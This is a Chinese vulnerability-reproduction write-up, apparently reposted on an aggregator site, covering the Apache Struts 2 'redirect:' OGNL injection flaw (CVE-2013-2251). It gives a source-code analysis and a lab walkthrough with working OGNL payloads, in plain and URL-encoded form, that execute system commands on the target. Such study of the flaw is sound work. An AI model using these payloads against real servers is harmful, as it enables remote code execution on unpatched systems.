[CVE-2013-2251] Apache Struts 2远程代码执行漏洞复现(第四弹)

Posted 4thrun

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CVE-2013-2251] Apache Struts 2远程代码执行漏洞复现(第四弹)相关的知识,希望对你有一定的参考价值。

0x00 漏洞概述

编号为CVE-2013-2251

在Struts 2框架中,DefaultActionMapper类支持以“action:”、“redirect:”、“redirectAction:”作为导航或重定向前缀,这些导航或者前缀后面可以写OGNL表达式。Struts 2并没有对这些前缀进行过滤,所以可以任意执行恶意OGNL表达式以执行系统命令。DefaultActionMapper类支持“method:”、“action:”、“redirect:”、“redirectAction:”这些方法。

其中“redirect:”和“redirectAction:”为Struts 2默认开启功能。

影响版本:Struts 2.0.0 - Struts 2.3.15

0x01 漏洞分析

使用精简版的源码,感谢大佬xhycccc为萌新送温暖。

运行流程

首先复习一下Struts 2的运行流程:

  1. HTTP请求经过一系列的标准过滤器(Filter)组件链,一路到达FilterDispatcher。这些过滤器一部分是Struts 2自带的,另一部分是用户自定义的。本环境中struts.xml中的package继承自struts-default,即Struts 2自带的拦截器。第一层的ActionContextCleanUp主要用于清理当前线程的ActionContextDispatcher。第三层的FilterDispatcher主要是通过调用ActionMapper决定需要调用哪个ActionFilterDispatcher是控制器的核心(也是MVC中控制层的核心组件)。
  2. 核心控制器组件FilterDispatcher根据ActionMapper中的设置决定是否需要调用某个Action组件来处理当前的HTTPServletRequest,如果确定需要调用,FilterDispatcher就会把请求的处理权交给ActionProxy组件。
  3. ActionProxy组件通过Configuration Manager组件获取Struts 2框架的配置文件struts.xml,找到需要调用的目标Action组件类,然后ActionProxy就能够创建出一个实现了命令模式的Action Invocation类的实例(这个过程包括调用Action组件本身之前调用多个拦截器组件的before()方法)。ActionInvocation组件通过代理模式调用目标Action组件,但是在调用前会根据配置文件中的设置项加载与目标Action相关的所有拦截器组件(即Interceptor)。
  4. Action组件执行完毕后,Action Invocation组件将会根据struts.xml配置文件中定义的各个配置项目获得对象的返回结果(这个Action组件的结果码,如SUCCESS、INPUT),然后根据这个返回结果调用目标.jsp页面进行输出。
  5. 最后各个拦截器组件再次执行(与刚才顺序相反,调用after()方法)。然后HTTPServletResponse返回给最初的三层组件。如果已经设置了ActionContextCleanUp过滤器,则FilterDispatcher不会清理ThreadLocal对象中保存的ActionContext信息;反之,若没有设置,就会清除掉所有的ThreadLocal对象。

漏洞源码

  1. 先找到定义前缀的地方。漏洞出现在lib\\struts2-core-2.2.3.jar!\\org\\apache\\struts2\\dispatcher\\mapper\\DefaultActionMapper.class,这里是ActionMapper的实现类。

  2. lib\\struts2-core-2.2.3.jar!\\org\\apache\\struts2\\dispatcher\\FilterDispatcher.class找到doFilter()方法。该方法先进行基础性操作:创建值栈、上下文、包装request等。然后到173行执行actionMapper.getMapping()

  3. 进入这个getMapping()方法。首先创建一个ActionMapping,然后对请求URL进行处理,解析对应的Action配置信息,比如去掉请求的URL后缀(调用dropExtension()把/index.action变成/index),继续执行到159行进入handleSpecialParameters()方法。

  4. handleSpecialParameter()方法首先获取请求的参数对象,然后遍历这个对象,如果参数名有以.x或者.y结尾的,会被去掉,然后进入200行的parameterAction.execute()方法。

  5. 进入这个execute()方法。第73行中,redirect.setLocation()方法提取"redirect:"后面的部分作为location,此时Payload就会进入location参数,终于出现了初步的注入。

  6. 回到doFilter()方法,继续向下,193行进入serviceAction()方法。

  7. serviceAction()方法先获取Configuration对象,然后通过Configuration得到容器对象,再从容器对象获取工厂类ActionProxyFactory创建动态代理ActionProxy,在381行进入execute()方法。

  8. 进入父方法execute()

  9. 遇到了conditionalParse(),用于处理跳转地址location,会判断是否含有OGNL表达式,若有则执行。

    conditionalParse()必然含有TextParseUtil.translateVariables(),最终通过其中的stack.findValue()执行了OGNL。

    这两个方法的利用在Struts 2系列漏洞中被多次使用。

0x02 利用流程

攻击机:192.168.0.106,靶机:192.168.0.108。

访问靶机

先行测试

首页其实就是/index.action,之前版本似乎还会注明有/default.action。先通过BurpSuite传入测试,与先前一样,采用URL编码迎合系统解析特性。

Payload:

?redirect:%{233*7}
?redirect:%25%7B233*7%7D

因为是redirect,上传后会得到302,跟随跳转发现请求URL变成了OGNL表达式结果。

命令注入

Payload(ls /tmp):

${#context[\'xwork.MethodAccessor.denyMethodExecution\']=false,#f=#_memberAccess.getClass().getDeclaredField(\'allowStaticMethodAccess\'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\'ls /tmp\').getInputStream())}
%24%7B%23context%5B\'xwork.MethodAccessor.denyMethodExecution\'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(\'allowStaticMethodAccess\')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(\'ls%20%2Ftmp\').getInputStream())%7D

任意命令执行达成!

0x03 工具一把梭

以上是关于[CVE-2013-2251] Apache Struts 2远程代码执行漏洞复现(第四弹)的主要内容,如果未能解决你的问题,请参考以下文章

intellij 中 spark scala 应用程序中的线程“main”java.lang.NoClassDefFoundError:org/apache/spark/sql/catalyst/St

java.lang.IllegalArgumentException: El mapeo de filtro especifica un nombre desconocido de filtro st

St2-057远程代码执行漏洞复现过程

Apache配置转发

Struts 分派ActionDispatchAction

kafka-sparkstreaming---学习1